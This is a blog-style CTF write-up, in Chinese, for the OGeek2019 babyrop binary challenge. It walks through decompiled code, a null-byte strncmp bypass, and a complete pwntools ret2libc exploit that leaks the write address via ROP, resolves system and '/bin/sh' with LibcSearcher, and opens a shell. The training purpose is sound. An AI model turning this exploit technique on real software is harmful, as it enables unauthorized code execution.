Eureka's Studio.

(Libc泄露)OGeek2019_babyrop

2023/10/31

其实这题也不难 但是做起来却磕磕碰碰的

[Libc泄漏]OGeek2019_babyrop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]

memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\\\\n", 8u);
return v5;
}

首先我的ida有点问题 最后return的v5应该是buf[7] 其次对比一下之前的ciscn_2019_n_8 他的var数组是%d类型 而此时的buf是char类型 因此padding的时候不需要四个字母一组

1
v6 = read(0, buf, 0x20u);

这一行的read作用和scanf相等 之前是没想到原来输入口在这 给了0x20的空间来输入buf[7] 对于strlen的长度判断可以用\x00截断所以初步payload如下

1
2
payload = '\\\\x00' + 'a' * 7
至于为什么\\\\x00后a是*7而不是6暂时还不清楚

这样才能绕过strncmp的比较 返回buf[7]

1
2
3
4
5
6
7
8
9
10
11
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]

if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}

返回的值作为参数传入这里 在这看到存在栈溢出可能 之前的buf就不要想了长度太短 这里我们至少需要0xe7+20左右 所以我们需要让a1尽可能大 也就是buf[7]尽可能大 所以buf[7]我们可以用\xff(最大的ascii了)

1
2
3
4
5
6
7
8
payload = '\\\\x00'
payload += 'b' * 6
payload += '\\\\xff'
sh.sendline(payload)
sh.recvuntil("Correct\\\\n")

payload1 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(0x08048825)+p32(1)+p32(write_got)+p32(4)
sh.sendline(payload1)

至于为啥用write这么复杂 是因为之前用了puts跑不通 对于libc泄漏而言 这是write的标准格式 然后就是走流程了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
sh = process('./pwn')
#sh = remote('node4.buuoj.cn',28124)
elf = ELF('./pwn')

write_plt = elf.plt['write']
write_got = elf.got['write']

#gdb.attach(sh)
#2C = 44 20 = 32
payload = '\\\\x00'
payload += 'b' * 6
payload += '\\\\xff'
sh.sendline(payload)
sh.recvuntil("Correct\\\\n")

payload1 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(0x08048825)+p32(1)+p32(write_got)+p32(4)
sh.sendline(payload1)

write_addr = u32(sh.recv(4))
#print(hex(puts_addr))
libc = LibcSearcher("write",write_addr)
write_libc = libc.dump('write')
base_addr = write_addr - write_libc
system_addr = base_addr + libc.dump('system')
binsh_addr = base_addr + libc.dump('str_bin_sh')

payload2 = 'b' * (0xe7+4) + p32(system_addr) + p32(0x08048825) + p32(binsh_addr)
sh.sendline(payload)
sh.recvuntil('Correct\\\\n')

sh.sendline(payload2)
sh.interactive()

不过得事先将这个so文件add到LibcSearcher一下

CATALOG
  1. 1. [Libc泄漏]OGeek2019_babyrop